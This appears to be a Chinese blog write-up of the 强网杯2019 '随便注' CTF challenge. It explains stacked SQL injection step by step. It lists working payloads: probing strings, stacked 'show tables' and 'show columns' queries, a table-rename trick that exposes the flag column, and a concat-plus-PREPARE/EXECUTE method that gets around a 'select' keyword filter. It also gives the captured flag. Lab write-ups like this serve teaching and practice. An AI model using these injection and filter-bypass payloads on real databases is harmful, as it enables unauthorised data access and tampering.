随便注

原创

beihai2013 于 2021-01-21 10:16:41 发布 20 收藏

分类专栏： CTF-Web-Sql

本文链接：https://blog.csdn.net/beihai2013/article/details/112917559

题目来源：强网杯2019

题目链接：https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4%BE%BF%E6%B3%A8

考察：堆叠注入，sql的show语句，sql的预编译，sql修改表

参考：https://www.cnblogs.com/chalan630/p/12583667.html，https://ca01h.top/Web_security/ctf_writeup/7.buuctf%E5%88%B7%E9%A2%98%E2%80%94%E2%80%94SQL%E6%B3%A8%E5%85%A5/

测试语句

```
1' and '1'='1
```

能够得出输入

```
1
```

时一样的回显

```
1'      # 报错
1'--+     # 正常且为True
1' and 1=1 --+  # 正常且为True
1' and 1=2 --+  # 正常且为False
?inject=1' order by 3--+ # error 1054 : Unknown column '3' in 'order clause'
inject=1'; show tables; --+ $ # 1919810931114514 words
?inject=1'; show columns from words; --+ #
show columns from `1919810931114514`;--+

words {
id int(10);
data varchar(20);
}
1919810931114514{
flag varchar(100);
}
```

payload1：修改表

```
?inject=1'; rename table `words` to `words1`; rename table `1919810931114514` to `words`; alter table `words` ch
ange `flag` `id` VARCHAR(100) character set utf8 collate utf8_general_ci not null;--+
```

payload2：预编译

```
1';Set @a=concat("sel","ect flag from `1919810931114514`");Prepare s from @a; execute s; --+
```

flag

```
flag{34745aea-2541-43e6-884f-c67988afc34a}
```

sql正常注入流程

```
1 # 正常输入
1' # 若报错，则单引号为可能的注入点
1' --+ # 判断注入类型
1' and 1=1 --+ # 判断注入类型
1' and 1=2 --+ # 判断注入类型

1' order by 3 --+ # 判断列数
```

sql的show命令

```
show databases;
show tables;
show table from db_name;
show engine;
show character set; #显示支持哪些字符集
show columns;
show create databases; #显示已经创建的库，创建时的语句
show create table; #显示已经创建的表，创建时的语句
```

sql堆叠注入

添加分号;即可实现同一行执行多个sql语句

sql修改表

```
rename table `words` to `test`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100);
```

sql预编译

```
SET;         # 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句，并赋予名称，以后可以引用该语句
EXECUTE stmt_name;       # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句

实例
set @sql=CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
execute stmt;
```